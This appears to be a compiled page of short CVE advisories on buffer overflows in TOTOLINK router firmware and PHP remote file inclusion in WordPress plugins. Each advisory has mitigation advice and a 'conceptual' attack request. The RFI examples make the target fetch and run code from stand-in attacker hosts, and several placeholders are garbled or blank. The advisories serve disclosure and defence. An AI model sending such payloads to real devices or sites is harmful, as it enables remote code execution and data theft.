Author: Ameeba

Overview

A critical vulnerability, labelled as CVE-2025-6149, has been identified in the TOTOLINK A3002R 4.0.0-B20230531.1404. This vulnerability lies in an unknown function of the file /boafrm/formSysLog in the HTTP POST Request Handler component. It poses a significant threat as it can lead to a buffer overflow, potentially compromising systems or leading to data leakage. Given its critical nature and the fact that this exploit has been disclosed to the public, immediate attention and mitigation is required.

Vulnerability Summary

CVE ID: CVE-2025-6149
Severity: Critical (8.8 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

TOTOLINK A3002R | 4.0.0-B20230531.1404

How the Exploit Works

The vulnerability is triggered when a malicious user manipulates the ‘submit-url’ argument in the HTTP POST request. This manipulation leads to a buffer overflow in the /boafrm/formSysLog file of the HTTP POST Request Handler component. Buffer overflows occur when more data is written into a block of memory, or buffer, than it can hold. This overflow of data can overwrite adjacent memory, leading to erratic program behavior, system crashes, or potential execution of malicious code.

Conceptual Example Code

Here’s a simplified, conceptual example of how the vulnerability might be exploited. This is a mock HTTP POST request containing a malicious payload that leads to the buffer overflow.

POST /boafrm/formSysLog HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
submit-url=%2Fboafrm%2FformSysLog&malicious_payload=AAAA...[continues for a very long time]

In the above example, the ‘malicious_payload’ is a long string of ‘A’s that exceeds the buffer’s capacity, causing an overflow.

Recommended Mitigation

Users are advised to apply the vendor patch as soon as it becomes available. In the meantime, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation method to monitor and block any suspicious activities. Moreover, frequent system and data backups can be invaluable in the event of a successful exploit.

Overview

The vulnerability denoted as CVE-2025-6148 was discovered in TOTOLINK A3002RU 3.0.0-B20230809.1615. This vulnerability, rated as critical, presents a serious risk to IT infrastructures that employ this device. The flaw resides in a seemingly innocuous file, /boafrm/formSysLog, which is part of the HTTP POST Request Handler component.
The vulnerability’s impact is vast as it could allow a remote attacker to initiate an attack, potentially leading to system compromise or data leakage. Given the severity of this vulnerability, it’s vital for organizations to be informed and take appropriate actions to mitigate the risk.

Vulnerability Summary

CVE ID: CVE-2025-6148
Severity: Critical (CVSS: 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

TOTOLINK A3002RU | 3.0.0-B20230809.1615

How the Exploit Works

The vulnerability arises from a buffer overflow condition in the HTTP POST Request Handler component. Specifically, the flaw is triggered by the improper handling of the ‘submit-url’ argument in the /boafrm/formSysLog file.
An attacker can exploit this flaw by sending a specially crafted HTTP POST request with a manipulated ‘submit-url’ argument. This could overflow the buffer, allowing the attacker to execute arbitrary code or disrupt the normal function of the device, leading to potential system compromise or data leakage.

Conceptual Example Code

A conceptual example of the exploit may look something like this:

POST /boafrm/formSysLog HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
submit-url=[MALICIOUS_PAYLOAD]

In this example, `[MALICIOUS_PAYLOAD]` would be a string crafted in a specific way that overflows the buffer.

Mitigation Measures

TOTOLINK is expected to release a patch to fix this vulnerability. It’s recommended that all users of the affected software apply this patch as soon as it’s available.
In the meantime, users can implement a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to monitor and block malicious HTTP POST requests. This can serve as a temporary mitigation measure until the patch is applied.

Overview

In the constantly evolving field of cybersecurity, new vulnerabilities are discovered regularly, posing threats to various software and hardware. The latest in this list is a critical vulnerability found in TOTOLINK A702R 4.0.0-B20230721.1521, a widely used router. This vulnerability, identified as CVE-2025-6147, affects the unknown code of the file /boafrm/formSysLog in the HTTP POST Request Handler component. The significance of this vulnerability lies in its potential to allow remote attackers to execute a buffer overflow attack, leading to system compromise and data leakage.

Vulnerability Summary

CVE ID: CVE-2025-6147
Severity: Critical (CVSS: 8.8)
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

TOTOLINK A702R | 4.0.0-B20230721.1521

How the Exploit Works

The exploit targets the HTTP POST Request Handler component in the TOTOLINK A702R router. Specifically, it affects an unknown part of the code in the /boafrm/formSysLog file. The vulnerability is triggered when the ‘submit-url’ argument is manipulated, leading to a buffer overflow. This flaw allows an attacker to remotely overflow the buffer with arbitrary data, which can potentially lead to arbitrary code execution, thereby compromising the system and potentially leading to data leaks.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. In this case, a malicious HTTP POST request is sent to the target, with a manipulated ‘submit-url’ argument in the request body, causing a buffer overflow.

POST /boafrm/formSysLog HTTP/1.1
Host: target.totolink.com
Content-Type: application/x-www-form-urlencoded
submit-url=http://%s/%s&%s=<OVERFLOWED BUFFER DATA>

Mitigation and Prevention

As the vulnerability has been publicly disclosed, it is essential to apply mitigation strategies promptly. The official vendor has released a patch to address this vulnerability. Users are strongly encouraged to apply this patch as soon as possible to their TOTOLINK A702R routers.
In addition to applying the vendor patch, users can use Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) as temporary mitigation measures. These systems can help detect and block malicious traffic that attempts to exploit this vulnerability.
To conclude, the discovery of the CVE-2025-6147 vulnerability underscores the importance of regular patch management and the use of security tools like WAF and IDS to enhance the overall security posture of your systems and networks.

Overview

Unfoldwp’s Blogbyte, a popular PHP application, has been found to contain a significant security vulnerability identified as CVE-2025-49275. This particular issue is due to an improper control of filename for include/require statement in PHP programming, more commonly known as ‘PHP Remote File Inclusion’. The severity of this vulnerability is high as it could potentially lead to a system compromise or data leakage. It is crucial for users and administrators of Blogbyte versions up to and including 1.1.1 to understand the implications of this vulnerability and take immediate steps to mitigate its risk.

Vulnerability Summary

CVE ID: CVE-2025-49275
Severity: High (8.1 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Unfoldwp Blogbyte | up to and including 1.1.1

How the Exploit Works

The vulnerability stems from the improper control of filenames for include/require statements in PHP programs. This allows an attacker to manipulate the file that is included at runtime. By manipulating the filename, an attacker can cause the application to include a file from a remote server which can contain malicious PHP code. This code is then executed in the context of the application, allowing the attacker to compromise the system or leak data.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited. This example is a simple HTTP request where the attacker has manipulated the ‘page’ parameter to include a malicious PHP file from a remote server.

GET /index.php?page=http://malicious.example.com/malicious_file.php HTTP/1.1
Host: target.example.com

In this example, the PHP application would include and execute the malicious_file.php from the malicious.example.com server, potentially leading to a system compromise or data leakage.

Mitigation

For users and administrators of Unfoldwp Blogbyte, immediate steps should be taken to mitigate this vulnerability. The preferred mitigation method is to apply the vendor-supplied patch for this issue. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. However, these measures only serve as a temporary fix and may not completely eliminate the risk. Therefore, it is strongly recommended to apply the vendor patch as soon as feasible.

Overview

The Common Vulnerabilities and Exposures (CVE) system has identified a significant security vulnerability tagged as CVE-2025-48126. This particular vulnerability, an instance of PHP Remote File Inclusion, affects the Essential Real Estate plugin by g5theme. The plugin, commonly used in real estate websites for various functionalities, suffers from an Improper Control of Filename for Include/Require Statement in its PHP Program.
This vulnerability is significant due to its potential for system compromise and data leakage. Malicious actors could exploit this vulnerability to execute arbitrary PHP code on the server-side. Given the widespread use of the Essential Real Estate plugin in the real estate industry, the impact of this vulnerability could be extensive if left unaddressed.

Vulnerability Summary

CVE ID: CVE-2025-48126
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

g5theme Essential Real Estate | n/a through 5.2.1

How the Exploit Works

The vulnerability arises from the improper control of filenames in Include/Require statements in the PHP program of Essential Real Estate. This improper control allows remote files to be included, leading to Remote File Inclusion (RFI). In this scenario, an attacker could manipulate the PHP code that the server executes.
By injecting a malicious path into the vulnerable parameter, the attacker can cause the server to include a remote file containing malicious PHP code. Once included, this code is executed by the server, potentially leading to system compromise or data leakage.

Conceptual Example Code

Here is a conceptual example of what exploiting this vulnerability could look like. The attacker sends a malicious HTTP request like the following:

GET /realestate.php?file=http://attacker.com/malicious.php HTTP/1.1
Host: target.example.com

In this example, `realestate.php` is the vulnerable script, and `file` is the vulnerable parameter. The attacker has set the `file` parameter to a URL that points to a PHP file (`malicious.php`) under their control. The server then fetches and executes the malicious PHP script, leading to the potential compromise of the system.

Overview

A significant vulnerability has been identified in TOTOLINK X15 1.0.0-B20230714.1105. This critical vulnerability, identified as CVE-2025-6146, affects an unspecified part of the file /boafrm/formSysLog of the component HTTP POST Request Handler. The vulnerability is of particular concern because it can be exploited remotely, thereby putting a vast number of systems at risk. The severity of the issue is amplified due to the fact that details of the exploit have been publicly disclosed, increasing the likelihood of it being utilized by malicious actors.

Vulnerability Summary

CVE ID: CVE-2025-6146
Severity: Critical (CVSS: 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage, leading to unauthorized access to sensitive data and resources.

Affected Products

Product | Affected Versions

TOTOLINK X15 | 1.0.0-B20230714.1105

How the Exploit Works

The exploit operates by manipulating the ‘submit-url’ argument in a HTTP POST request to the /boafrm/formSysLog file. This manipulation results in a buffer overflow, a common type of vulnerability stemming from errors in memory management. When exploited, it can lead to arbitrary code execution, allowing an attacker to potentially gain control over the system or access sensitive data.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. It’s represented as a malicious HTTP POST request:

POST /boafrm/formSysLog HTTP/1.1
Host: vulnerable-device.com
Content-Type: application/x-www-form-urlencoded
submit-url=...&malicious_payload

In this example, the ‘submit-url’ argument is manipulated with a malicious payload, triggering the buffer overflow.

Recommendations

To mitigate this vulnerability, users are advised to apply the vendor patch once available. In the meantime, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary measure to detect and block attempts to exploit this vulnerability. Regular system and software updates, as well as continuous monitoring of system logs, are also recommended to identify any unusual activity.

Overview

A severe vulnerability has been discovered in the TOTOLINK EX1200T firmware version 4.1.2cu.5232_B20210713. This vulnerability, designated as CVE-2025-6145, is of critical concern to organizations and individuals leveraging this specific firmware, due to its potential for system compromise and data leakage. The exploit has been made public and can be launched remotely, which further heightens the risk and underscores the urgency to address it.

Vulnerability Summary

CVE ID: CVE-2025-6145
Severity: Critical (8.8 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

TOTOLINK EX1200T | 4.1.2cu.5232_B20210713

How the Exploit Works

The vulnerability resides in the /boafrm/formSysLog file, which is a part of the HTTP POST Request Handler component in the TOTOLINK EX1200T firmware. An attacker can manipulate the ‘submit-url’ argument leading to a buffer overflow condition. Buffer overflow can result in unpredictable program behavior, including memory access errors, incorrect results, program termination, or a breach of system security. Since the attack can be launched remotely, it poses a significant risk.

Conceptual Example Code

Here’s a conceptual example of how this vulnerability might be exploited. An attacker might send a malicious HTTP POST request that overruns the buffer, causing a buffer overflow:

POST /boafrm/formSysLog HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
submit-url=<malicious_payload>

In this example, `` is a crafted string that’s longer than the buffer size allocated for the ‘submit-url’ argument. This causes the buffer overflow, potentially enabling the attacker to execute arbitrary code or cause a denial of service.

Mitigation and Remediation

Users of the affected TOTOLINK EX1200T firmware are advised to immediately apply vendor patches as soon as they become available. Until patches can be applied, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation, providing some level of protection by detecting or blocking malicious HTTP POST requests designed to exploit this vulnerability. Regular system and security audits, as well as continued vigilance in monitoring system logs, are also recommended to detect any unusual activity.

Overview

A critical vulnerability, identified as CVE-2025-6144, has been discovered in TOTOLINK EX1200T version 4.1.2cu.5232_B20210713. This vulnerability presents a significant risk to any organization or individual using the affected device, as it can be exploited remotely, providing attackers with the potential to compromise systems and leak sensitive data. The vulnerability lies in the HTTP POST Request Handler, specifically within the /boafrm/formSysCmd file which can be manipulated to trigger a buffer overflow condition. Given the severity of this vulnerability, it demands immediate attention and remediation.

Vulnerability Summary

CVE ID: CVE-2025-6144
Severity: Critical (CVSS 8.8)
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

TOTOLINK EX1200T | 4.1.2cu.5232_B20210713

How the Exploit Works

The vulnerability lies within an unknown functionality of the /boafrm/formSysCmd file of the HTTP POST Request Handler component. Attackers can manipulate the argument ‘submit-url’, which can lead to a buffer overflow condition. A buffer overflow essentially means that more data is written to a block of allocated memory than it can hold, causing the excess data to overflow into adjacent locations. If an attacker can control this overflow, it can be used to overwrite critical control data and manipulate the software’s execution.

Conceptual Example Code

Here is a conceptual example of an HTTP POST request that could potentially exploit this vulnerability:

POST /boafrm/formSysCmd HTTP/1.1
Host: target.example.com
submit-url=<malicious_payload>

In this example, “ would be a specially crafted string designed to overflow the buffer and potentially take control of the system.

Mitigation and Recommendations

The best course of action to mitigate this vulnerability is to apply the vendor-provided patch as soon as possible. If for any reason this is not feasible, a temporary mitigation could be the utilization of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to detect and block attempts to exploit this vulnerability. However, these are only temporary measures and do not fix the underlying issue, so applying the vendor patch should be the ultimate goal.
Always remember to keep your systems up-to-date and regularly monitor for any new vulnerabilities and patches. In the world of cybersecurity, staying vigilant and proactive is the key to maintaining robust security.

Overview

A critical security vulnerability, identified as CVE-2025-6143, has been discovered in TOTOLINK EX1200T version 4.1.2cu.5232_B20210713. This vulnerability poses a significant risk to any organization that uses the affected device since it could potentially lead to system compromise or data leakage. The vulnerability affects an unknown function of the file /boafrm/formNtp of the HTTP POST Request Handler component and can be exploited remotely.

Vulnerability Summary

CVE ID: CVE-2025-6143
Severity: Critical (8.8 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

TOTOLINK EX1200T | 4.1.2cu.5232_B20210713

How the Exploit Works

The vulnerability stems from the manipulation of the ‘submit-url’ argument which leads to buffer overflow. An attacker can send a specially crafted HTTP POST request to the vulnerable component. When this request is processed, the buffer overflow can occur. This could enable an attacker to execute arbitrary code on the system or cause the system to crash, resulting in a denial of service.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This example represents a malicious HTTP POST request targeting the vulnerable endpoint.

POST /boafrm/formNtp HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
submit-url=malicious_payload

In this example, ‘malicious_payload’ is a placeholder for the actual malicious code or data that would cause the buffer overflow.
Remember, this is a conceptual example only and may not represent the exact method used to exploit this vulnerability in real-world scenarios.

Mitigation

Users of the affected TOTOLINK EX1200T version are urged to apply the latest vendor patch as soon as possible to fix this vulnerability. In the interim, as a temporary mitigation, users can deploy a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and prevent attempts to exploit this vulnerability. However, this should not be considered a long-term solution and should only be used until the vendor patch can be applied.

Overview

CVE-2025-48125 refers to a high-risk vulnerability found within the WP Event Manager, a popular WordPress event management plugin. This vulnerability, dubbed a PHP Remote File Inclusion (RFI), poses a significant threat to the integrity and confidentiality of data. RFI vulnerabilities can be exploited to include files from remote servers, allowing attackers to execute arbitrary code and potentially compromise the system. Given the widespread use of WP Event Manager and the severity of this vulnerability, it is crucial for administrators and developers to understand and address this issue promptly.

Vulnerability Summary

CVE ID: CVE-2025-48125
Severity: High (CVSS Score 8.1)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise, potential data leakage

Affected Products

Product | Affected Versions

WP Event Manager | Up to 3.1.49

How the Exploit Works

The vulnerability arises due to improper control of filenames for include/require statements in the PHP program of WP Event Manager. An attacker can manipulate these statements to include arbitrary PHP files from a remote server. The attacker’s server can deliver malicious scripts, which are then executed in the context of the application. This can lead to unauthorized disclosure, modification, or even total destruction of data.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited:

GET /index.php?page=http://attacker.com/malicious_script.txt HTTP/1.1
Host: vulnerablewebsite.com

In this request, the attacker tries to exploit the vulnerability in the “page” parameter. The attacker provides a URL (http://attacker.com/malicious_script.txt) instead of a page name. If the application is vulnerable, it will include and execute the malicious_script.txt hosted on the attacker’s server.

Mitigation Guidance

The most effective way to mitigate this vulnerability is by applying the vendor’s patch. WP Event Manager version 3.1.50 and later have addressed this vulnerability. In cases where immediate patching is not feasible, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as temporary mitigation, blocking requests that appear to exploit this vulnerability. However, these measures do not fully address the underlying issue and should be combined with a patch as soon as possible. Regularly updating and patching software remains the best defense against potential exploits.